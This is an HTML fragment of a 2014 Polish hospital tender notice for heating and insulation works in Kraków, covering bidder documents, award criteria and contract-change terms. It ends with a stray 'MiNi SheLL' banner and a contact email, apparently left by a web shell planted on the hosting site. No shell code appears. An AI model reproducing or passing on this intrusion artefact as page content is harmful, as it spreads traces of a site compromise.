e)	wykaz jednej roboty-budowlanej w zakresie termomodernizacji polegającej na ociepleniu stropu z użyciem wełny mineralnej, o wartości nie mniejszej niż 50tys zł,;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na zasoby innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Wykonawca winien dołączyć nie mniej niż dwie nie więcej niż cztery referencje dotyczące wykonania prac projektowych zakończonych prawomocnym pozwoleniem na budowę dla inwestycji dotyczących robót budowlano-instalacyjnych w zakresie:
- modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego, 
- wymiany instalacji c.o. (w tym grzejników),
- montażu pomp ciepła typu powietrze-woda pracujących na potrzeby podgrzewu c.w.u. wraz z wykonaniem towarzyszących prac instalacyjnych.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 98</li>
<li>2 - doświadczenie jakość personelu - 2</li>
</ul>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Zmiany niniejszej umowy wymagają formy pisemnej pod rygorem nieważności i mogą być dopuszczalne tylko w granicach art. 144 ustawy - Prawo zamówień publicznych.
2.	Strony przez istotne zmiany postanowień umowy w stosunku do treści złożonej w postępowaniu oferty rozumieją takie zmiany, których wprowadzenie na etapie postępowania o udzielenie zamówienia publicznego wpłynęłoby na krąg Wykonawców ubiegających się o zamówienie lub na wybór najkorzystniejszej oferty w postępowaniu.
3.	Wszelkie inne zmiany postanowień umowy w stosunku do treści złożonej w postępowaniu oferty nie mają charakteru zmian istotnych. 
4.	Zamawiający dopuszcza zmianę niniejszej umowy w zakresie: 
a)	zmiany wskazanych w §4 terminów realizacji przedmiotu umowy - w przypadku, gdy zmianę taką zaakceptuje Zamawiający, lub zmiana taka stanie się konieczna ze względu na okoliczności, których nie można było przewidzieć w chwili składania oferty, w szczególności jeśli pozyskana przez Zamawiającego kwota na sfinansowanie przedmiotu umowy jest niewystarczająca na zrealizowanie przedmiotu umowy, lub gdy zmiana taka stanie się konieczna celem właściwej realizacji przedmiotu umowy i wykorzystania środków dotacyjnych,
b)	zmiany osób lub podmiotów odpowiedzialnych za realizację przedmiotu umowy po stronie Wykonawcy lub Zamawiającego - jeżeli zmiana taka nie wpłynie na pozostałe warunki realizacji przedmiotu umowy, 
c)	zmiany zakresu realizacji przedmiotu umowy - jeżeli z wnioskiem takim wystąpi Zamawiający lub zmiana taka stanie się konieczna ze względu na okoliczności, których nie można było przewidzieć w chwili składania oferty, lub gdy zmiana taka stanie się konieczna celem właściwej realizacji przedmiotu umowy i wykorzystania środków dotacyjnych. 
5.	Zamawiający dopuszcza możliwość zmiany niniejszej umowy w zakresie rezygnacji z części zakresu rzeczowego przedmiotu umowy. W przypadku, o którym mowa w zdaniu poprzednim wynagrodzenie należne Wykonawcy ulegnie zmniejszeniu stosownie do postanowień §3 ust. 9 niniejszej umowy i Wykonawcy nie będą przysługiwały względem Zamawiającego jakiekolwiek roszczenia z tego tytułu.
6.	Zamawiający dopuszcza także możliwość zmiany umowy w następujących przypadkach: 
a)	gdy zaistnieją okoliczności niezależne od Wykonawcy, których nie można było przewidzieć w chwili zawarcia umowy, pod warunkiem, że zmiana ta sprzyjać będzie optymalnemu wykonaniu przedmiotu umowy, jak również oszczędnemu, celowemu i efektywnemu wydatkowaniu środków finansowych, 
b)	gdy wystąpią zdarzenia losowe, 
c)	gdy wystąpią zmiany, których konieczność wprowadzenia będzie wynikała z wymagań instytucji współfinansujących realizację przedmiotu umowy lub będzie właściwa celem prawidłowego wykorzystania środków dotacyjnych. 
7.	Zamawiający dopuszcza również możliwość zmiany zakresu robót objętych przedmiotem umowy na następujących zasadach:
a)	Wykonawca, w razie otrzymania pisemnego żądania Zamawiającego, co do zmiany zakresu robót, przeanalizuje proponowane zmiany pod względem finansowym i technicznym, w tym wpływ takich zmian na termin i koszt realizacji przedmiotu umowy, a następnie przedstawi na piśmie swój raport Zamawiającemu w uzgodnionym przez Strony terminie. Ostateczna decyzja należy do Zamawiającego. 
b)	W przypadku zmian zakresu przedmiotu umowy wniesionych przez Zamawiającego, Wykonawca zobowiązany jest zgłosić uwagi w terminie 5 (pięciu) dni od daty ich otrzymania. Brak takich uwag w powyższym terminie będzie równoznaczny z akceptacją tych zmian. Ewentualne konsekwencje finansowe i terminowe powstałe w wyniku nie zgłoszenia uwag w powyższym terminie ponosi Wykonawca. 
c)	Wykonawca może złożyć Zamawiającemu pisemne propozycje zmian zakresu robót, o ile będą one wpływały na usprawnienie realizacji i zmniejszenie kosztów przedmiotu umowy. 
d)	Przewiduje się możliwość obniżenia wynagrodzenia określonego w §3 ust.1 niniejszej umowy w przypadku wprowadzenia przez Zamawiającego uzgodnionych z Wykonawcą zamiennych rozwiązań obniżających koszt realizacji przedmiotu umowy przy niezmienionym standardzie i bez ograniczania zakresu robót. 
e)	Wykonawca przystąpi do wykonania robót o zmienionym zakresie, po uzyskaniu od Zamawiającego pisemnego zatwierdzenia wszystkich warunków, w szczególności warunków finansowych wykonania takich zmian, w drodze pisemnego aneksu do niniejszej umowy. Stosowny aneks powinien zostać sporządzony w terminie 7 (siedmiu) dni od dnia zatwierdzenia przez Zamawiającego wszystkich warunków przedstawionych przez Wykonawcę.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.babinski.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Szpital Specjalistyczny im. dr. Józefa Babińskiego SPZOZ w Krakowie, ul. dr. Józefa Babińskiego 29, 30-393 Kraków.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 10.12.2014 godzina 10:30, miejsce: Szpital Specjalistyczny im. dr. Józefa Babińskiego SPZOZ w Krakowie, ul. dr. Józefa Babińskiego 29, 30-393 Kraków - Kancelaria Szpitala.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Małopolski Regionalny Programu Operacyjny na lata 2007-2013, oś priorytetowa 7 Infrastruktura ochrony środowiska, działanie 7.2 Poprawa jakości powietrza i zwiększenie wykorzystania odnawialnych źródeł energii.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> tak</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com